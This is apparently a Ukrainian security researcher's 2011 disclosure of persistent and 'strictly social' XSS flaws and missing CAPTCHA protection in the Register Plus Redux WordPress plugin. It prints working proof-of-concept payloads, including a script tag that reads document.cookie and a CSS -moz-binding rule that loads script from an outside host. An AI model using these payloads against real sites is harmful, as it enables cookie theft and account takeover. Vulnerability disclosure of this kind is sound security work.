01.12.2011
Нещодавно, 25.11.2011, я знайшов 36 уразливостей в плагіні Register Plus Redux для WordPress. Перевірялася остання версія плагіна. Це друга з серії публікацій про нові дірки в даному плагіні. В якій я розповім про Cross-Site Scripting та Insufficient Anti-automation уразливості. Про що вже повідомив розробникам.
Раніше я вже писав про уразливості в Register Plus Redux для WordPress.
Детальна інформація про уразливості з’явиться пізніше.
31.12.2011
Persistent XSS:
На сторінці http://site/wp-admin/options-general.php ?page=register-plus-redux є наступні уразливості.
В полях: Email Verification, Admin Verification, User Message (якщо включений Custom New User Message), User Message (якщо включений Custom Verification Message), Admin Message (якщо включений Custom Admin Notification), Custom Register CSS, Custom Login CSS:
</textarea><script>alert(document.cookie)</script>
Код спрацює на сторінці http://site/wp-admin/options-general.php?page=register-plus-redux, а у випадку полей Email Verification і Admin Verification ще спрацює на сторінці http://site/wp-login.php?checkemail=registered.
Якщо вказати код в полях Custom Register CSS, Custom Login CSS:
body {-moz-binding:url(http://websecurity.com.ua/webtools/xss.xml#xss)}
То код відповідно спрацює на сторінках http://site/wp-login.php?action=register та http://site/wp-login.php. Код спрацює в Firefox < 3.0, але якщо розмістити xml-файл на цьому ж сайті (через аплоадер), то можна буде атакувати й Firefox 3.0 і вище. А якщо вказати код з використанням expression, javascript або vbscript в стилях, то він виконається в IE.
Якщо вказати код в полі Minimum password length (в User Set Password) при включених опціях Require new users enter a password during registration та Show password strength meter:
1){}};alert(document.cookie);function a(){if(1==1
То код спрацює на сторінці http://site1/wp-login.php?action=register.
Якщо вказати код в полях Empty, Short, Bad, Good, Strong, Mismatch (в User Set Password) при включених опціях Require new users enter a password during registration та Show password strength meter:
"};alert(document.cookie);/*
То код спрацює на сторінці http://site/wp-login.php?action=register.
Якщо вказати код в полі Required Fields Style Rules:
-moz-binding:url(http://websecurity.com.ua/webtools/xss.xml#xss)
То код спрацює на сторінці http://site/wp-login.php?action=register. Код спрацює в Firefox < 3.0, але якщо розмістити xml-файл на цьому ж сайті (через аплоадер), то можна буде атакувати й Firefox 3.0 і вище. А якщо вказати код з використанням expression, javascript або vbscript в стилях, то він виконається в IE.
Strictly Social XSS persistent:
У вищезгаданих полях User Message (якщо включений Custom New User Message), User Message (якщо включений Custom Verification Message), Admin Message (якщо включений Custom Admin Notification) окрім XSS в самому полі, є ще XSS через візуалізацію (що відбувається через jQuery), і відповідно при відправці POST запиту код спрацює двічі, й виправляти кожну з цих уразливостей потрібно в двох місцях (бо навіть заескейпчений html-код виконається). Також, окрім атаки через відправку POST запиту, можна провести XSS атаку через візуалізацію в цих трьох полях, а також в девяти інших полях (From Email, From Name, Subject в Custom New User Message, в Custom Verification Message та в Custom Admin Notification) при вставці XSS коду в поле.
Тобто потрібно обманним чином змусити жертву вставити код в одне з цих дванадцяти полів, при цьому код можна занести жертві в буфер через атаку через буфер обміну. Дані уразливості - це Strictly social XSS.
Insufficient Anti-automation:
http://site/wp-login.php?action=register
В формі реєстрації немає захисту від автоматизованих запитів (капчі). Як і в попередніх версіях плагіну.
Уразливі Register Plus Redux v3.7.3.1 та попередні версії. На замовлення мого клієнта я розробив нову версію плагіна з виправленними усіма знайденними мною уразливостями. Тому всі користувачі цього плагіна можуть знайти нову й безпечну версію плагіна в Інтернеті.